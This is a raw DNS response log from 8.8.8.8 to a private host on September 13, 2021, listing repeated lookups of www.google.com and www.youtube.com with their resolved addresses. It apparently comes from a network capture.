Sep 13, 2021 06:30:24.566005945 CEST	8.8.8.8	192.168.2.5	0x5459	No error (0)	youtube-ui.l.google.com		142.250.201.206	A (IP address)	IN (0x0001)
Sep 13, 2021 06:30:24.566005945 CEST	8.8.8.8	192.168.2.5	0x5459	No error (0)	youtube-ui.l.google.com		172.217.19.110	A (IP address)	IN (0x0001)
Sep 13, 2021 06:30:24.610582113 CEST	8.8.8.8	192.168.2.5	0xe157	No error (0)	www.youtube.com	youtube-ui.l.google.com		CNAME (Canonical name)	IN (0x0001)
Sep 13, 2021 06:30:24.610582113 CEST	8.8.8.8	192.168.2.5	0xe157	No error (0)	youtube-ui.l.google.com		172.217.20.14	A (IP address)	IN (0x0001)
Sep 13, 2021 06:30:24.610582113 CEST	8.8.8.8	192.168.2.5	0xe157	No error (0)	youtube-ui.l.google.com		142.250.180.238	A (IP address)	IN (0x0001)
Sep 13, 2021 06:30:24.610582113 CEST	8.8.8.8	192.168.2.5	0xe157	No error (0)	youtube-ui.l.google.com		142.250.201.206	A (IP address)	IN (0x0001)
Sep 13, 2021 06:30:24.610582113 CEST	8.8.8.8	192.168.2.5	0xe157	No error (0)	youtube-ui.l.google.com		172.217.19.110	A (IP address)	IN (0x0001)
Sep 13, 2021 06:30:25.714939117 CEST	8.8.8.8	192.168.2.5	0xdce4	No error (0)	www.google.com		142.250.201.196	A (IP address)	IN (0x0001)
Sep 13, 2021 06:30:25.756747961 CEST	8.8.8.8	192.168.2.5	0x4865	No error (0)	www.google.com		142.250.201.196	A (IP address)	IN (0x0001)
Sep 13, 2021 06:30:25.860413074 CEST	8.8.8.8	192.168.2.5	0x3946	No error (0)	www.google.com		142.250.201.196	A (IP address)	IN (0x0001)
Sep 13, 2021 06:30:25.907494068 CEST	8.8.8.8	192.168.2.5	0xb329	No error (0)	www.google.com		142.250.201.196	A (IP address)	IN (0x0001)
Sep 13, 2021 06:30:26.973845005 CEST	8.8.8.8	192.168.2.5	0x1207	No error (0)	www.google.com		142.250.201.196	A (IP address)	IN (0x0001)
Sep 13, 2021 06:30:27.004354954 CEST	8.8.8.8	192.168.2.5	0xe8d7	No error (0)	www.google.com		142.250.201.196	A (IP address)	IN (0x0001)
Sep 13, 2021 06:30:27.099924088 CEST	8.8.8.8	192.168.2.5	0xc74e	No error (0)	www.google.com		142.250.201.196	A (IP address)	IN (0x0001)
Sep 13, 2021 06:30:27.132054090 CEST	8.8.8.8	192.168.2.5	0x6e86	No error (0)	www.google.com		142.250.201.196	A (IP address)	IN (0x0001)
Sep 13, 2021 06:30:28.206593990 CEST	8.8.8.8	192.168.2.5	0x2715	No error (0)	www.google.com		142.250.201.196	A (IP address)	IN (0x0001)
Sep 13, 2021 06:30:28.240284920 CEST	8.8.8.8	192.168.2.5	0x6154	No error (0)	www.google.com		142.250.201.196	A (IP address)	IN (0x0001)
Sep 13, 2021 06:30:28.335803986 CEST	8.8.8.8	192.168.2.5	0x89ce	No error (0)	www.google.com		142.250.201.196	A (IP address)	IN (0x0001)
Sep 13, 2021 06:30:28.370954990 CEST	8.8.8.8	192.168.2.5	0xc603	No error (0)	www.google.com		142.250.201.196	A (IP address)	IN (0x0001)
Sep 13, 2021 06:30:29.431040049 CEST	8.8.8.8	192.168.2.5	0xb457	No error (0)	www.google.com		142.250.201.196	A (IP address)	IN (0x0001)
Sep 13, 2021 06:30:29.460743904 CEST	8.8.8.8	192.168.2.5	0x4d99	No error (0)	www.google.com		142.250.201.196	A (IP address)	IN (0x0001)
Sep 13, 2021 06:30:29.561176062 CEST	8.8.8.8	192.168.2.5	0xd9d2	No error (0)	www.google.com		142.250.201.196	A (IP address)	IN (0x0001)
Sep 13, 2021 06:30:29.592988014 CEST	8.8.8.8	192.168.2.5	0x9e65	No error (0)	www.google.com		142.250.201.196	A (IP address)	IN (0x0001)
Sep 13, 2021 06:30:30.658788919 CEST	8.8.8.8	192.168.2.5	0x465a	No error (0)	www.youtube.com	youtube-ui.l.google.com		CNAME (Canonical name)	IN (0x0001)
Sep 13, 2021 06:30:30.658788919 CEST	8.8.8.8	192.168.2.5	0x465a	No error (0)	youtube-ui.l.google.com		172.217.20.14	A (IP address)	IN (0x0001)
Sep 13, 2021 06:30:30.658788919 CEST	8.8.8.8	192.168.2.5	0x465a	No error (0)	youtube-ui.l.google.com		142.250.180.238	A (IP address)	IN (0x0001)
Sep 13, 2021 06:30:30.658788919 CEST	8.8.8.8	192.168.2.5	0x465a	No error (0)	youtube-ui.l.google.com		142.250.201.206	A (IP address)	IN (0x0001)
Sep 13, 2021 06:30:30.658788919 CEST	8.8.8.8	192.168.2.5	0x465a	No error (0)	youtube-ui.l.google.com		172.217.19.110	A (IP address)	IN (0x0001)
Sep 13, 2021 06:30:30.688102007 CEST	8.8.8.8	192.168.2.5	0x7010	No error (0)	www.youtube.com	youtube-ui.l.google.com		CNAME (Canonical name)	IN (0x0001)
Sep 13, 2021 06:30:30.688102007 CEST	8.8.8.8	192.168.2.5	0x7010	No error (0)	youtube-ui.l.google.com		172.217.20.14	A (IP address)	IN (0x0001)
Sep 13, 2021 06:30:30.688102007 CEST	8.8.8.8	192.168.2.5	0x7010	No error (0)	youtube-ui.l.google.com		142.250.180.238	A (IP address)	IN (0x0001)
Sep 13, 2021 06:30:30.688102007 CEST	8.8.8.8	192.168.2.5	0x7010	No error (0)	youtube-ui.l.google.com		142.250.201.206	A (IP address)	IN (0x0001)
Sep 13, 2021 06:30:30.688102007 CEST	8.8.8.8	192.168.2.5	0x7010	No error (0)	youtube-ui.l.google.com		172.217.19.110	A (IP address)	IN (0x0001)
Sep 13, 2021 06:30:30.756007910 CEST	8.8.8.8	192.168.2.5	0x408d	No error (0)	www.youtube.com	youtube-ui.l.google.com		CNAME (Canonical name)	IN (0x0001)
Sep 13, 2021 06:30:30.756007910 CEST	8.8.8.8	192.168.2.5	0x408d	No error (0)	youtube-ui.l.google.com		172.217.20.14	A (IP address)	IN (0x0001)
Sep 13, 2021 06:30:30.756007910 CEST	8.8.8.8	192.168.2.5	0x408d	No error (0)	youtube-ui.l.google.com		142.250.180.238	A (IP address)	IN (0x0001)
Sep 13, 2021 06:30:30.756007910 CEST	8.8.8.8	192.168.2.5	0x408d	No error (0)	youtube-ui.l.google.com		142.250.201.206	A (IP address)	IN (0x0001)
Sep 13, 2021 06:30:30.756007910 CEST	8.8.8.8	192.168.2.5	0x408d	No error (0)	youtube-ui.l.google.com		172.217.19.110	A (IP address)	IN (0x0001)
Sep 13, 2021 06:30:30.789561987 CEST	8.8.8.8	192.168.2.5	0xb17a	No error (0)	www.youtube.com	youtube-ui.l.google.com		CNAME (Canonical name)	IN (0x0001)
Sep 13, 2021 06:30:30.789561987 CEST	8.8.8.8	192.168.2.5	0xb17a	No error (0)	youtube-ui.l.google.com		172.217.20.14	A (IP address)	IN (0x0001)
Sep 13, 2021 06:30:30.789561987 CEST	8.8.8.8	192.168.2.5	0xb17a	No error (0)	youtube-ui.l.google.com		142.250.180.238	A (IP address)	IN (0x0001)
Sep 13, 2021 06:30:30.789561987 CEST	8.8.8.8	192.168.2.5	0xb17a	No error (0)	youtube-ui.l.google.com		142.250.201.206	A (IP address)	IN (0x0001)
Sep 13, 2021 06:30:30.789561987 CEST	8.8.8.8	192.168.2.5	0xb17a	No error (0)	youtube-ui.l.google.com		172.217.19.110	A (IP address)	IN (0x0001)
Sep 13, 2021 06:30:31.866705894 CEST	8.8.8.8	192.168.2.5	0xbbfe	No error (0)	www.youtube.com	youtube-ui.l.google.com		CNAME (Canonical name)	IN (0x0001)
Sep 13, 2021 06:30:31.866705894 CEST	8.8.8.8	192.168.2.5	0xbbfe	No error (0)	youtube-ui.l.google.com		172.217.20.14	A (IP address)	IN (0x0001)
Sep 13, 2021 06:30:31.866705894 CEST	8.8.8.8	192.168.2.5	0xbbfe	No error (0)	youtube-ui.l.google.com		142.250.180.238	A (IP address)	IN (0x0001)
Sep 13, 2021 06:30:31.866705894 CEST	8.8.8.8	192.168.2.5	0xbbfe	No error (0)	youtube-ui.l.google.com		142.250.201.206	A (IP address)	IN (0x0001)
Sep 13, 2021 06:30:31.866705894 CEST	8.8.8.8	192.168.2.5	0xbbfe	No error (0)	youtube-ui.l.google.com		172.217.19.110	A (IP address)	IN (0x0001)
Sep 13, 2021 06:30:31.900259018 CEST	8.8.8.8	192.168.2.5	0x4d81	No error (0)	www.youtube.com	youtube-ui.l.google.com		CNAME (Canonical name)	IN (0x0001)
Sep 13, 2021 06:30:31.900259018 CEST	8.8.8.8	192.168.2.5	0x4d81	No error (0)	youtube-ui.l.google.com		172.217.20.14	A (IP address)	IN (0x0001)
Sep 13, 2021 06:30:31.900259018 CEST	8.8.8.8	192.168.2.5	0x4d81	No error (0)	youtube-ui.l.google.com		142.250.180.238	A (IP address)	IN (0x0001)
Sep 13, 2021 06:30:31.900259018 CEST	8.8.8.8	192.168.2.5	0x4d81	No error (0)	youtube-ui.l.google.com		142.250.201.206	A (IP address)	IN (0x0001)
Sep 13, 2021 06:30:31.900259018 CEST	8.8.8.8	192.168.2.5	0x4d81	No error (0)	youtube-ui.l.google.com		172.217.19.110	A (IP address)	IN (0x0001)
Sep 13, 2021 06:30:31.971549034 CEST	8.8.8.8	192.168.2.5	0x6acb	No error (0)	www.youtube.com	youtube-ui.l.google.com		CNAME (Canonical name)	IN (0x0001)
Sep 13, 2021 06:30:31.971549034 CEST	8.8.8.8	192.168.2.5	0x6acb	No error (0)	youtube-ui.l.google.com		172.217.20.14	A (IP address)	IN (0x0001)
Sep 13, 2021 06:30:31.971549034 CEST	8.8.8.8	192.168.2.5	0x6acb	No error (0)	youtube-ui.l.google.com		142.250.180.238	A (IP address)	IN (0x0001)
Sep 13, 2021 06:30:31.971549034 CEST	8.8.8.8	192.168.2.5	0x6acb	No error (0)	youtube-ui.l.google.com		142.250.201.206	A (IP address)	IN (0x0001)
Sep 13, 2021 06:30:31.971549034 CEST	8.8.8.8	192.168.2.5	0x6acb	No error (0)	youtube-ui.l.google.com		172.217.19.110	A (IP address)	IN (0x0001)
Sep 13, 2021 06:30:32.004839897 CEST	8.8.8.8	192.168.2.5	0xe3ab	No error (0)	www.youtube.com	youtube-ui.l.google.com		CNAME (Canonical name)	IN (0x0001)
Sep 13, 2021 06:30:32.004839897 CEST	8.8.8.8	192.168.2.5	0xe3ab	No error (0)	youtube-ui.l.google.com		172.217.20.14	A (IP address)	IN (0x0001)
Sep 13, 2021 06:30:32.004839897 CEST	8.8.8.8	192.168.2.5	0xe3ab	No error (0)	youtube-ui.l.google.com		142.250.180.238	A (IP address)	IN (0x0001)
Sep 13, 2021 06:30:32.004839897 CEST	8.8.8.8	192.168.2.5	0xe3ab	No error (0)	youtube-ui.l.google.com		142.250.201.206	A (IP address)	IN (0x0001)
Sep 13, 2021 06:30:32.004839897 CEST	8.8.8.8	192.168.2.5	0xe3ab	No error (0)	youtube-ui.l.google.com		172.217.19.110	A (IP address)	IN (0x0001)
Sep 13, 2021 06:30:33.072355986 CEST	8.8.8.8	192.168.2.5	0xa405	No error (0)	www.youtube.com	youtube-ui.l.google.com		CNAME (Canonical name)	IN (0x0001)
Sep 13, 2021 06:30:33.072355986 CEST	8.8.8.8	192.168.2.5	0xa405	No error (0)	youtube-ui.l.google.com		172.217.20.14	A (IP address)	IN (0x0001)
Sep 13, 2021 06:30:33.072355986 CEST	8.8.8.8	192.168.2.5	0xa405	No error (0)	youtube-ui.l.google.com		142.250.180.238	A (IP address)	IN (0x0001)
Sep 13, 2021 06:30:33.072355986 CEST	8.8.8.8	192.168.2.5	0xa405	No error (0)	youtube-ui.l.google.com		142.250.201.206	A (IP address)	IN (0x0001)
Sep 13, 2021 06:30:33.072355986 CEST	8.8.8.8	192.168.2.5	0xa405	No error (0)	youtube-ui.l.google.com		172.217.19.110	A (IP address)	IN (0x0001)
Sep 13, 2021 06:30:33.099807978 CEST	8.8.8.8	192.168.2.5	0x7c7f	No error (0)	www.youtube.com	youtube-ui.l.google.com		CNAME (Canonical name)	IN (0x0001)
Sep 13, 2021 06:30:33.099807978 CEST	8.8.8.8	192.168.2.5	0x7c7f	No error (0)	youtube-ui.l.google.com		172.217.20.14	A (IP address)	IN (0x0001)
Sep 13, 2021 06:30:33.099807978 CEST	8.8.8.8	192.168.2.5	0x7c7f	No error (0)	youtube-ui.l.google.com		142.250.180.238	A (IP address)	IN (0x0001)
Sep 13, 2021 06:30:33.099807978 CEST	8.8.8.8	192.168.2.5	0x7c7f	No error (0)	youtube-ui.l.google.com		142.250.201.206	A (IP address)	IN (0x0001)
Sep 13, 2021 06:30:33.099807978 CEST	8.8.8.8	192.168.2.5	0x7c7f	No error (0)	youtube-ui.l.google.com		172.217.19.110	A (IP address)	IN (0x0001)
Sep 13, 2021 06:30:33.176800966 CEST	8.8.8.8	192.168.2.5	0xa963	No error (0)	www.youtube.com	youtube-ui.l.google.com		CNAME (Canonical name)	IN (0x0001)
Sep 13, 2021 06:30:33.176800966 CEST	8.8.8.8	192.168.2.5	0xa963	No error (0)	youtube-ui.l.google.com		172.217.20.14	A (IP address)	IN (0x0001)
Sep 13, 2021 06:30:33.176800966 CEST	8.8.8.8	192.168.2.5	0xa963	No error (0)	youtube-ui.l.google.com		142.250.180.238	A (IP address)	IN (0x0001)
Sep 13, 2021 06:30:33.176800966 CEST	8.8.8.8	192.168.2.5	0xa963	No error (0)	youtube-ui.l.google.com		142.250.201.206	A (IP address)	IN (0x0001)
Sep 13, 2021 06:30:33.176800966 CEST	8.8.8.8	192.168.2.5	0xa963	No error (0)	youtube-ui.l.google.com		172.217.19.110	A (IP address)	IN (0x0001)
Sep 13, 2021 06:30:33.218039989 CEST	8.8.8.8	192.168.2.5	0xe44d	No error (0)	www.youtube.com	youtube-ui.l.google.com		CNAME (Canonical name)	IN (0x0001)
Sep 13, 2021 06:30:33.218039989 CEST	8.8.8.8	192.168.2.5	0xe44d	No error (0)	youtube-ui.l.google.com		172.217.20.14	A (IP address)	IN (0x0001)
Sep 13, 2021 06:30:33.218039989 CEST	8.8.8.8	192.168.2.5	0xe44d	No error (0)	youtube-ui.l.google.com		142.250.180.238	A (IP address)	IN (0x0001)
Sep 13, 2021 06:30:33.218039989 CEST	8.8.8.8	192.168.2.5	0xe44d	No error (0)	youtube-ui.l.google.com		142.250.201.206	A (IP address)	IN (0x0001)
Sep 13, 2021 06:30:33.218039989 CEST	8.8.8.8	192.168.2.5	0xe44d	No error (0)	youtube-ui.l.google.com		172.217.19.110	A (IP address)	IN (0x0001)
Sep 13, 2021 06:30:34.281866074 CEST	8.8.8.8	192.168.2.5	0xa2ab	No error (0)	www.youtube.com	youtube-ui.l.google.com		CNAME (Canonical name)	IN (0x0001)
Sep 13, 2021 06:30:34.281866074 CEST	8.8.8.8	192.168.2.5	0xa2ab	No error (0)	youtube-ui.l.google.com		172.217.20.14	A (IP address)	IN (0x0001)
Sep 13, 2021 06:30:34.281866074 CEST	8.8.8.8	192.168.2.5	0xa2ab	No error (0)	youtube-ui.l.google.com		142.250.180.238	A (IP address)	IN (0x0001)
Sep 13, 2021 06:30:34.281866074 CEST	8.8.8.8	192.168.2.5	0xa2ab	No error (0)	youtube-ui.l.google.com		142.250.201.206	A (IP address)	IN (0x0001)
Sep 13, 2021 06:30:34.281866074 CEST	8.8.8.8	192.168.2.5	0xa2ab	No error (0)	youtube-ui.l.google.com		172.217.19.110	A (IP address)	IN (0x0001)
Sep 13, 2021 06:30:34.322180986 CEST	8.8.8.8	192.168.2.5	0x68a9	No error (0)	www.youtube.com	youtube-ui.l.google.com		CNAME (Canonical name)	IN (0x0001)
Sep 13, 2021 06:30:34.322180986 CEST	8.8.8.8	192.168.2.5	0x68a9	No error (0)	youtube-ui.l.google.com		172.217.20.14	A (IP address)	IN (0x0001)
Sep 13, 2021 06:30:34.322180986 CEST	8.8.8.8	192.168.2.5	0x68a9	No error (0)	youtube-ui.l.google.com		142.250.180.238	A (IP address)	IN (0x0001)
Sep 13, 2021 06:30:34.322180986 CEST	8.8.8.8	192.168.2.5	0x68a9	No error (0)	youtube-ui.l.google.com		142.250.201.206	A (IP address)	IN (0x0001)
Sep 13, 2021 06:30:34.322180986 CEST	8.8.8.8	192.168.2.5	0x68a9	No error (0)	youtube-ui.l.google.com		172.217.19.110	A (IP address)	IN (0x0001)
Sep 13, 2021 06:30:34.391674995 CEST	8.8.8.8	192.168.2.5	0xf9c9	No error (0)	www.youtube.com	youtube-ui.l.google.com		CNAME (Canonical name)	IN (0x0001)
Sep 13, 2021 06:30:34.391674995 CEST	8.8.8.8	192.168.2.5	0xf9c9	No error (0)	youtube-ui.l.google.com		172.217.20.14	A (IP address)	IN (0x0001)
Sep 13, 2021 06:30:34.391674995 CEST	8.8.8.8	192.168.2.5	0xf9c9	No error (0)	youtube-ui.l.google.com		142.250.180.238	A (IP address)	IN (0x0001)
Sep 13, 2021 06:30:34.391674995 CEST	8.8.8.8	192.168.2.5	0xf9c9	No error (0)	youtube-ui.l.google.com		142.250.201.206	A (IP address)	IN (0x0001)
Sep 13, 2021 06:30:34.391674995 CEST	8.8.8.8	192.168.2.5	0xf9c9	No error (0)	youtube-ui.l.google.com		172.217.19.110	A (IP address)	IN (0x0001)
Sep 13, 2021 06:30:34.433989048 CEST	8.8.8.8	192.168.2.5	0xdb34	No error (0)	www.youtube.com	youtube-ui.l.google.com		CNAME (Canonical name)	IN (0x0001)
Sep 13, 2021 06:30:34.433989048 CEST	8.8.8.8	192.168.2.5	0xdb34	No error (0)	youtube-ui.l.google.com		172.217.20.14	A (IP address)	IN (0x0001)
Sep 13, 2021 06:30:34.433989048 CEST	8.8.8.8	192.168.2.5	0xdb34	No error (0)	youtube-ui.l.google.com		142.250.180.238	A (IP address)	IN (0x0001)
Sep 13, 2021 06:30:34.433989048 CEST	8.8.8.8	192.168.2.5	0xdb34	No error (0)	youtube-ui.l.google.com		142.250.201.206	A (IP address)	IN (0x0001)
Sep 13, 2021 06:30:34.433989048 CEST	8.8.8.8	192.168.2.5	0xdb34	No error (0)	youtube-ui.l.google.com		172.217.19.110	A (IP address)	IN (0x0001)
Sep 13, 2021 06:30:35.507160902 CEST	8.8.8.8	192.168.2.5	0x7099	No error (0)	www.google.com		142.250.201.196	A (IP address)	IN (0x0001)
Sep 13, 2021 06:30:35.536786079 CEST	8.8.8.8	192.168.2.5	0xc179	No error (0)	www.google.com		142.250.201.196	A (IP address)	IN (0x0001)
Sep 13, 2021 06:30:35.634526014 CEST	8.8.8.8	192.168.2.5	0x673c	No error (0)	www.google.com		142.250.201.196	A (IP address)	IN (0x0001)
Sep 13, 2021 06:30:35.676203966 CEST	8.8.8.8	192.168.2.5	0x9370	No error (0)	www.google.com		142.250.201.196	A (IP address)	IN (0x0001)
Sep 13, 2021 06:30:36.730878115 CEST	8.8.8.8	192.168.2.5	0xf5c1	No error (0)	www.google.com		142.250.201.196	A (IP address)	IN (0x0001)
Sep 13, 2021 06:30:36.760412931 CEST	8.8.8.8	192.168.2.5	0x5dfb	No error (0)	www.google.com		142.250.201.196	A (IP address)	IN (0x0001)
Sep 13, 2021 06:30:36.863596916 CEST	8.8.8.8	192.168.2.5	0xe74a	No error (0)	www.google.com		142.250.201.196	A (IP address)	IN (0x0001)
Sep 13, 2021 06:30:36.897587061 CEST	8.8.8.8	192.168.2.5	0x48df	No error (0)	www.google.com		142.250.201.196	A (IP address)	IN (0x0001)
Sep 13, 2021 06:30:37.965689898 CEST	8.8.8.8	192.168.2.5	0x26a	No error (0)	www.google.com		142.250.201.196	A (IP address)	IN (0x0001)
Sep 13, 2021 06:30:37.993853092 CEST	8.8.8.8	192.168.2.5	0xb3ce	No error (0)	www.google.com		142.250.201.196	A (IP address)	IN (0x0001)
Sep 13, 2021 06:30:38.087264061 CEST	8.8.8.8	192.168.2.5	0xea83	No error (0)	www.google.com		142.250.201.196	A (IP address)	IN (0x0001)
Sep 13, 2021 06:30:38.118860006 CEST	8.8.8.8	192.168.2.5	0xb3a3	No error (0)	www.google.com		142.250.201.196	A (IP address)	IN (0x0001)
Sep 13, 2021 06:30:39.183747053 CEST	8.8.8.8	192.168.2.5	0xb99e	No error (0)	www.google.com		142.250.201.196	A (IP address)	IN (0x0001)
Sep 13, 2021 06:30:39.214135885 CEST	8.8.8.8	192.168.2.5	0x7ec	No error (0)	www.google.com		142.250.201.196	A (IP address)	IN (0x0001)
Sep 13, 2021 06:30:39.310492039 CEST	8.8.8.8	192.168.2.5	0x609b	No error (0)	www.google.com		142.250.201.196	A (IP address)	IN (0x0001)
Sep 13, 2021 06:30:39.343240976 CEST	8.8.8.8	192.168.2.5	0xbd19	No error (0)	www.google.com		142.250.201.196	A (IP address)	IN (0x0001)
Sep 13, 2021 06:30:40.403553009 CEST	8.8.8.8	192.168.2.5	0xcdaa	No error (0)	www.youtube.com	youtube-ui.l.google.com		CNAME (Canonical name)	IN (0x0001)
Sep 13, 2021 06:30:40.403553009 CEST	8.8.8.8	192.168.2.5	0xcdaa	No error (0)	youtube-ui.l.google.com		172.217.20.14	A (IP address)	IN (0x0001)
Sep 13, 2021 06:30:40.403553009 CEST	8.8.8.8	192.168.2.5	0xcdaa	No error (0)	youtube-ui.l.google.com		142.250.180.238	A (IP address)	IN (0x0001)
Sep 13, 2021 06:30:40.403553009 CEST	8.8.8.8	192.168.2.5	0xcdaa	No error (0)	youtube-ui.l.google.com		142.250.201.206	A (IP address)	IN (0x0001)
Sep 13, 2021 06:30:40.403553009 CEST	8.8.8.8	192.168.2.5	0xcdaa	No error (0)	youtube-ui.l.google.com		172.217.19.110	A (IP address)	IN (0x0001)
Sep 13, 2021 06:30:40.431616068 CEST	8.8.8.8	192.168.2.5	0x9c16	No error (0)	www.youtube.com	youtube-ui.l.google.com		CNAME (Canonical name)	IN (0x0001)
Sep 13, 2021 06:30:40.431616068 CEST	8.8.8.8	192.168.2.5	0x9c16	No error (0)	youtube-ui.l.google.com		172.217.20.14	A (IP address)	IN (0x0001)
Sep 13, 2021 06:30:40.431616068 CEST	8.8.8.8	192.168.2.5	0x9c16	No error (0)	youtube-ui.l.google.com		142.250.180.238	A (IP address)	IN (0x0001)
Sep 13, 2021 06:30:40.431616068 CEST	8.8.8.8	192.168.2.5	0x9c16	No error (0)	youtube-ui.l.google.com		142.250.201.206	A (IP address)	IN (0x0001)
Sep 13, 2021 06:30:40.431616068 CEST	8.8.8.8	192.168.2.5	0x9c16	No error (0)	youtube-ui.l.google.com		172.217.19.110	A (IP address)	IN (0x0001)
Sep 13, 2021 06:30:40.493963003 CEST	8.8.8.8	192.168.2.5	0x8b92	No error (0)	www.youtube.com	youtube-ui.l.google.com		CNAME (Canonical name)	IN (0x0001)
Sep 13, 2021 06:30:40.493963003 CEST	8.8.8.8	192.168.2.5	0x8b92	No error (0)	youtube-ui.l.google.com		172.217.20.14	A (IP address)	IN (0x0001)
Sep 13, 2021 06:30:40.493963003 CEST	8.8.8.8	192.168.2.5	0x8b92	No error (0)	youtube-ui.l.google.com		142.250.180.238	A (IP address)	IN (0x0001)
Sep 13, 2021 06:30:40.493963003 CEST	8.8.8.8	192.168.2.5	0x8b92	No error (0)	youtube-ui.l.google.com		142.250.201.206	A (IP address)	IN (0x0001)
Sep 13, 2021 06:30:40.493963003 CEST	8.8.8.8	192.168.2.5	0x8b92	No error (0)	youtube-ui.l.google.com		172.217.19.110	A (IP address)	IN (0x0001)
Sep 13, 2021 06:30:40.537708998 CEST	8.8.8.8	192.168.2.5	0x682f	No error (0)	www.youtube.com	youtube-ui.l.google.com		CNAME (Canonical name)	IN (0x0001)
Sep 13, 2021 06:30:40.537708998 CEST	8.8.8.8	192.168.2.5	0x682f	No error (0)	youtube-ui.l.google.com		172.217.20.14	A (IP address)	IN (0x0001)
Sep 13, 2021 06:30:40.537708998 CEST	8.8.8.8	192.168.2.5	0x682f	No error (0)	youtube-ui.l.google.com		142.250.180.238	A (IP address)	IN (0x0001)
Sep 13, 2021 06:30:40.537708998 CEST	8.8.8.8	192.168.2.5	0x682f	No error (0)	youtube-ui.l.google.com		142.250.201.206	A (IP address)	IN (0x0001)
Sep 13, 2021 06:30:40.537708998 CEST	8.8.8.8	192.168.2.5	0x682f	No error (0)	youtube-ui.l.google.com		172.217.19.110	A (IP address)	IN (0x0001)
Sep 13, 2021 06:30:41.598129988 CEST	8.8.8.8	192.168.2.5	0xc4a6	No error (0)	www.youtube.com	youtube-ui.l.google.com		CNAME (Canonical name)	IN (0x0001)
Sep 13, 2021 06:30:41.598129988 CEST	8.8.8.8	192.168.2.5	0xc4a6	No error (0)	youtube-ui.l.google.com		172.217.20.14	A (IP address)	IN (0x0001)
Sep 13, 2021 06:30:41.598129988 CEST	8.8.8.8	192.168.2.5	0xc4a6	No error (0)	youtube-ui.l.google.com		142.250.180.238	A (IP address)	IN (0x0001)
Sep 13, 2021 06:30:41.598129988 CEST	8.8.8.8	192.168.2.5	0xc4a6	No error (0)	youtube-ui.l.google.com		142.250.201.206	A (IP address)	IN (0x0001)
Sep 13, 2021 06:30:41.598129988 CEST	8.8.8.8	192.168.2.5	0xc4a6	No error (0)	youtube-ui.l.google.com		172.217.19.110	A (IP address)	IN (0x0001)
Sep 13, 2021 06:30:41.632759094 CEST	8.8.8.8	192.168.2.5	0x29b1	No error (0)	www.youtube.com	youtube-ui.l.google.com		CNAME (Canonical name)	IN (0x0001)
Sep 13, 2021 06:30:41.632759094 CEST	8.8.8.8	192.168.2.5	0x29b1	No error (0)	youtube-ui.l.google.com		172.217.20.14	A (IP address)	IN (0x0001)
Sep 13, 2021 06:30:41.632759094 CEST	8.8.8.8	192.168.2.5	0x29b1	No error (0)	youtube-ui.l.google.com		142.250.180.238	A (IP address)	IN (0x0001)
Sep 13, 2021 06:30:41.632759094 CEST	8.8.8.8	192.168.2.5	0x29b1	No error (0)	youtube-ui.l.google.com		142.250.201.206	A (IP address)	IN (0x0001)
Sep 13, 2021 06:30:41.632759094 CEST	8.8.8.8	192.168.2.5	0x29b1	No error (0)	youtube-ui.l.google.com		172.217.19.110	A (IP address)	IN (0x0001)
Sep 13, 2021 06:30:41.700139046 CEST	8.8.8.8	192.168.2.5	0x3195	No error (0)	www.youtube.com	youtube-ui.l.google.com		CNAME (Canonical name)	IN (0x0001)
Sep 13, 2021 06:30:41.700139046 CEST	8.8.8.8	192.168.2.5	0x3195	No error (0)	youtube-ui.l.google.com		172.217.20.14	A (IP address)	IN (0x0001)
Sep 13, 2021 06:30:41.700139046 CEST	8.8.8.8	192.168.2.5	0x3195	No error (0)	youtube-ui.l.google.com		142.250.180.238	A (IP address)	IN (0x0001)
Sep 13, 2021 06:30:41.700139046 CEST	8.8.8.8	192.168.2.5	0x3195	No error (0)	youtube-ui.l.google.com		142.250.201.206	A (IP address)	IN (0x0001)
Sep 13, 2021 06:30:41.700139046 CEST	8.8.8.8	192.168.2.5	0x3195	No error (0)	youtube-ui.l.google.com		172.217.19.110	A (IP address)	IN (0x0001)
Sep 13, 2021 06:30:41.733850956 CEST	8.8.8.8	192.168.2.5	0x1d3a	No error (0)	www.youtube.com	youtube-ui.l.google.com		CNAME (Canonical name)	IN (0x0001)
Sep 13, 2021 06:30:41.733850956 CEST	8.8.8.8	192.168.2.5	0x1d3a	No error (0)	youtube-ui.l.google.com		172.217.20.14	A (IP address)	IN (0x0001)
Sep 13, 2021 06:30:41.733850956 CEST	8.8.8.8	192.168.2.5	0x1d3a	No error (0)	youtube-ui.l.google.com		142.250.180.238	A (IP address)	IN (0x0001)
Sep 13, 2021 06:30:41.733850956 CEST	8.8.8.8	192.168.2.5	0x1d3a	No error (0)	youtube-ui.l.google.com		142.250.201.206	A (IP address)	IN (0x0001)
Sep 13, 2021 06:30:41.733850956 CEST	8.8.8.8	192.168.2.5	0x1d3a	No error (0)	youtube-ui.l.google.com		172.217.19.110	A (IP address)	IN (0x0001)
Sep 13, 2021 06:30:42.793143034 CEST	8.8.8.8	192.168.2.5	0x6eec	No error (0)	www.youtube.com	youtube-ui.l.google.com		CNAME (Canonical name)	IN (0x0001)
Sep 13, 2021 06:30:42.793143034 CEST	8.8.8.8	192.168.2.5	0x6eec	No error (0)	youtube-ui.l.google.com		172.217.20.14	A (IP address)	IN (0x0001)
Sep 13, 2021 06:30:42.793143034 CEST	8.8.8.8	192.168.2.5	0x6eec	No error (0)	youtube-ui.l.google.com		142.250.180.238	A (IP address)	IN (0x0001)
Sep 13, 2021 06:30:42.793143034 CEST	8.8.8.8	192.168.2.5	0x6eec	No error (0)	youtube-ui.l.google.com		142.250.201.206	A (IP address)	IN (0x0001)
Sep 13, 2021 06:30:42.793143034 CEST	8.8.8.8	192.168.2.5	0x6eec	No error (0)	youtube-ui.l.google.com		172.217.19.110	A (IP address)	IN (0x0001)
Sep 13, 2021 06:30:42.830774069 CEST	8.8.8.8	192.168.2.5	0x3e13	No error (0)	www.youtube.com	youtube-ui.l.google.com		CNAME (Canonical name)	IN (0x0001)
Sep 13, 2021 06:30:42.830774069 CEST	8.8.8.8	192.168.2.5	0x3e13	No error (0)	youtube-ui.l.google.com		172.217.20.14	A (IP address)	IN (0x0001)
Sep 13, 2021 06:30:42.830774069 CEST	8.8.8.8	192.168.2.5	0x3e13	No error (0)	youtube-ui.l.google.com		142.250.180.238	A (IP address)	IN (0x0001)
Sep 13, 2021 06:30:42.830774069 CEST	8.8.8.8	192.168.2.5	0x3e13	No error (0)	youtube-ui.l.google.com		142.250.201.206	A (IP address)	IN (0x0001)
Sep 13, 2021 06:30:42.830774069 CEST	8.8.8.8	192.168.2.5	0x3e13	No error (0)	youtube-ui.l.google.com		172.217.19.110	A (IP address)	IN (0x0001)
